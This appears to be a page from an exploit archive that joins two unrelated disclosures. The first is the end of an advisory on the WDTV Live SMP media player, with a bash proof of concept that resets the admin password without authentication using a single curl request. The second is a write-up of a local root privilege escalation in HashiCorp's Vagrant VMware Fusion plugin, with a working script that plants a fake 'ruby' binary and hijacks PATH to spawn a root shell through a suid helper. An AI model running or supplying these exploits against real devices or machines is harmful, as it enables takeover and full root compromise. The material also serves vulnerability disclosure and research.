high-definition video through an HDMI port, and standard video through
composite video cables. It can play most common video and audio formats. As
of August 2016, the WDTV appears to be discontinued.

The latest firmware version appears to be 2.03.20.

-VULNERABILITY-

The WDTV Live SMP runs an embedded webserver, allowing authenticated users
to upload themes, manage device settings, access a virtual remote and other
tasks. To authenticate, a user needs to provide the correct password (no
username).

An unauthenticated attacker can update the password via a constructed GET
request, subsequently taking control of many functions of the device.

Vulnerable versions include at least firmware 2.03.20, and likely many more
older versions.

-POC-

#!/bin/bash

echo
echo "WDTV Live SMP Admin Password Reset Exploit"
echo "Apparently sw1tch found this guff in 2017"
echo
if [ $# != 2 ]; then
  echo "Usage: `basename $0` <target IP/host> <new password>"
echo
  exit $ERR_ARG
fi

# Vars...
target=$1
password=$2

echo -n "[*] Slamming your chosen password at $target now..."
curl "http://$target/DB/modfiy_pw.php" -d "password=$password"
echo "done!"
echo "[*] Try logging in to http://$target/ using $password"
echo
exit 0

-FIX-

None available. Device appears to be EOL so unlikely to be remediated.

--------------------------------------------------------------------------------------------------------------------------------
            
I'm a big fan of Hashicorp but this is an awful bug to have in software of their
calibre.

Their vagrant plugin for vmware fusion uses a product called Ruby Encoder to
protect their proprietary ruby code.  It does this by turning the ruby code into
bytecode and executing it directly.

Unfortunately the execution chain necessary for this to work is not safe.  After
installing the plugin, the first time you "vagrant up" any vagrant file using
vmware fusion it will create some files in
~/.vagrant.d/gems/2.2.5/gems/vagrant-vmware-fusion-4.0.18/bin:

vagrant_vmware_desktop_sudo_helper
vagrant_vmware_desktop_sudo_helper_wrapper_darwin_386
vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64
vagrant_vmware_desktop_sudo_helper_wrapper_linux_386
vagrant_vmware_desktop_sudo_helper_wrapper_linux_amd64

The first one is an encoded ruby script, the others are "sudo helper" binaries
for the different platforms supported by the plugin.  Of these sudo helpers,
the one that corresponds to your platform will be made suid root when vagrant up
is run.

Unfortunately the helper calls the ruby script with system("ruby <script path>")
- i.e. it doesn't verify the path to the ruby script and it doesn't scrub the
PATH variable either.  We can easily exploit this to get root.

Hashicorp were quick to respond and kindly paid me a small bounty for my trouble.

The issue was acknowledged by Hashicorp on 08/04/17 and fixed on 14/07/17.

The exploit below is for darwin 64bit but it's likely other architectures are
also vulnerable.

https://m4.rkw.io/vagrant_vmware_privesc.sh.txt
2a58c6fd18e0a36c2fa58ab32298a0e3b89f28843bd8cd4e3a9ff8623028dca3
--------------------------------------------------------------------------

#!/bin/bash

vuln_bin=`find ~/.vagrant.d/ -name vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64 -perm +4000 |tail -n1`

if [ "$vuln_bin" == "" ] ; then
  echo "Vulnerable binary not found."
  exit 1
fi

dir=`dirname "$vuln_bin"`

cd "$dir"

cat > ruby <<EOF
#!/bin/bash
echo
echo "************************************************************************"
echo "* Depressingly trivial local root privesc in the vagrant vmware_fusion *"
echo "* plugin, by m4rkw                                                     *"
echo "************************************************************************"
echo
echo "Shout out to #coolkids o/"
echo
bash
exit 0
EOF

chmod 755 ruby

VAGRANT_INSTALLER_EMBEDDED_DIR="~/.vagrant.d/" PATH=".:$PATH" ./vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64

--------------------------------------------------------------------------